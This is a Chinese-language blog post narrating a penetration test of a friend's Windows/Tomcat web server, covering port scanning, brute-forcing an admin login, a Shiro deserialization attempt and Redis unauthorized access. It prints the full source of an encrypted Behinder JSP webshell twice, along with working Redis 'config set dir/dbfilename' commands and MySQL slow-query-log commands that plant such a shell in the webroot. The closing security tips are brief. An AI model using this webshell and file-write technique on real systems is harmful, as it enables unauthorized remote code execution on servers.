信息收集
朋友闲聊中,提起想让我帮忙测试下网站的安全性,毕竟好久不做这事,有点手生。于是朋友把站点告诉了我,前部分正常步骤搜集信息,查看ip端口。
PS:本文仅用于学习交流,严禁用于任何非法用途,违者后果自负,与本站及作者无关。
解析出来发现*.*.19*.102,
扫一波端口发现,
21/tcp open
80/tcp open http Microsoft IIS httpd 10.0
6379/tcp open
8085/tcp open http nginx 1.16.1 tianhe
8089/tcp open http 404
8098/tcp open http 404
一看开放服务还不少,挨个来,抓一波redis。
敏感地发现好像有弱密码,直接网站上去试试。还真给我找到了一个**管理系统,祭出我强大的字典,再搞一搞朋友名字的社工,使用burp的intruder。
哈,不出我所料怼了两分钟就怼进去了,而且还是超管,这里就不放过程图了:
到处翻了翻,发现是开发环境。
系统文件上传:
其中有些上传点,竟然接收PUT方法,直接上传,改文件名后缀、内容,burp走一波:
诶,不对,竟然过不去,好家伙!
返回于:
Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location
java报错,原因是没有该目录,好的吧,记住使用jsp了,用冰蝎的加密马。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
mysql日志写入:
漫游系统中发现有sql数据库管理,貌似是直接拼装sql语句的:
尝试mysql的骚操作-慢日志写入webshell:
SHOW VARIABLES LIKE "%slow_query_log%";
正常的话还可以类似:
set global slow_query_log=1;
set global slow_query_log_file='C:\\Tomcat\\webapps\\ROOT\\conf-back.jsp';
select ' <%@page import="java.util.*,javax.crypto........一句话木马' or sleep(11);
WTF???解析错误??又白高兴了一场,抓了个包看看:
原来是url编码拼接了,而且使用解释器接收语句进行处理,算了,谁让我这么菜呢,给朋友做了太多日志不太好交差。
shiro反序列化:
分析数据包发现响应有rememberMe=deleteMe标识,于是想到最新的shiro反序列化。
拿出我的工具试一下:
工具地址:
https://github.com/fupinglee/ShiroScan/releases
https://github.com/fupinglee/ShiroScan/releases/tag/v1.1
https://github.com/fupinglee/JavaTools/tree/master/Shiro#v20
https://github.com/wh1t3p1g/ysoserial
https://github.com/frohoff/ysoserial
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
我去,不对劲,仔细一看,原来请求数据包只带to**标识,不使用co**ie,于是直接放弃。
redis未授权:
哎呦,一个小站还很牢固,没事,还有别的端口,想起来刚看见的redis,很常见的redis未授权访问。
(参考文章《Redis on Windows 出网利用探索》:https://xz.aliyun.com/t/8153)
但是redis未授权只能写入文件,linux可写公钥,写计划任务反弹,wndows就只能写webshell了,但还有一个现实问题,需要获取真实目录。
于是本菜又在网站里漫游了一波,终于被我发现一个目录浏览功能!
但是当前网站的根目录是不可能访问的,只能解析到其余的盘,于是搜罗了一波。
好像发现了了不得的事情!竟然有某大厂杀毒!
那我得小心了,好多东西需要免杀。
发现好多个tomcat,联想到端口汇总8089和8098都开放但是404,这就正常了,只是测试站点,需要特定目录才能访问。
于是挨个试,终于发现一个aico***的目录:
访问8089发现:
还等什么,试试redis写入功能,可以的话直接免杀webshell:
发现有权限,于是本地搭建环境测试冰蝎马:
可以放心地使用了:
(redis写入字符要用“\”转义)
config set dir "C:\\Program Files\\******\\*****\\ROOT"
config set dbfilename "index-back.jsp"
set xxx1xxx "\<\%\@page import\=\"java\.util\.\*\,javax\.crypto\.\*\,javax\.crypto\.spec\.\*\"\%\>\<\%\!class U extends ClassLoader\{U\(ClassLoader c\)\{super\(c\)\;\}public Class g\(byte \[\]b\)\{return super\.defineClass\(b\,0\,b\.length\)\;\}\}\%\>\<\%if \(request\.getMethod\(\)\.equals\(\"POST\"\)\)\{String k\=\"e45e329feb5d925b\"\;session\.putValue\(\"u\"\,k\)\;Cipher c\=Cipher\.getInstance\(\"AES\"\)\;c\.init\(2\,new SecretKeySpec\(k\.getBytes\(\)\,\"AES\"\)\)\;new U\(this\.getClass\(\)\.getClassLoader\(\)\)\.g\(c\.doFinal\(new sun.misc.BASE64Decoder\(\)\.decodeBuffer\(request\.getReader\(\)\.readLine\(\)\)\)\)\.newInstance\(\)\.equals\(pageContext\)\;\}\%\>"
当然最后别忘了复原:
del xxx1xxx
config set dir "C:\\******\\***** "
config set dbfilename "dump"
访问该页面,没有报错。
冰蝎连接
最后终于松了一口气,总算不是没有啥都没干成,然后整理一下报给朋友,顺便提了几个建议:别把测试服务公开在公网,可以设置白名单访问。
朋友说这是在公网的单一服务器,没有域环境或者工作组,于是就没有了后续步骤,不过朋友说你运气好,就这个服务是管理员权限,其他都是普通用户……我表示,其实我也试了很多,哈哈哈。
总结
总结几点:
避免设置弱密码,使用复杂密码提高测试业务的安全性。
非必要的服务不要暴露在公网。
业务开发时对登录cookie进行加密,避免使用单纯的token校验用户。
常用业务使用普通用户启动….
- 上一篇:Windows主机入侵痕迹排查办法
- 下一篇:记一次糟心的内网靶场实战
猜你还喜欢
- 07-08九年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 03-21黑客如何破解wifi密码
- 01-12批量检测SQL注入
- 最新文章
- 随机文章
-
- 撸翻希拉里的胖子黑客成长史
- Python入门学习
- Arpy – Mac OSX ARP嗅探工具
- wooyun知识库文章及整站镜像分享
- 多线程WEB安全日志分析脚本
- 网站后台登陆万能密码
- 解析漏洞
- 实战审计某BC站源码,并拿下权限
- PHP序列化和反序列化语法差异问题
- Linux应急响应(一):SSH暴力破解
- 分享一款基于Pocsuite的漏洞扫描系统
- 盘古团队发布iOS 9.2-9.3.3越狱工具
- 编辑器漏洞手册
- Dmitry:深度信息挖掘工具
- 渗透测试常规思路分析
- Python渗透工具的架构探讨
- BurpSuite集成Sqlmap神器!
- IBM Rational AppScan 9.0.3 (含下载)
- BurpSuitev1.7.03破解版下载
- 渗透思路
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的?
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-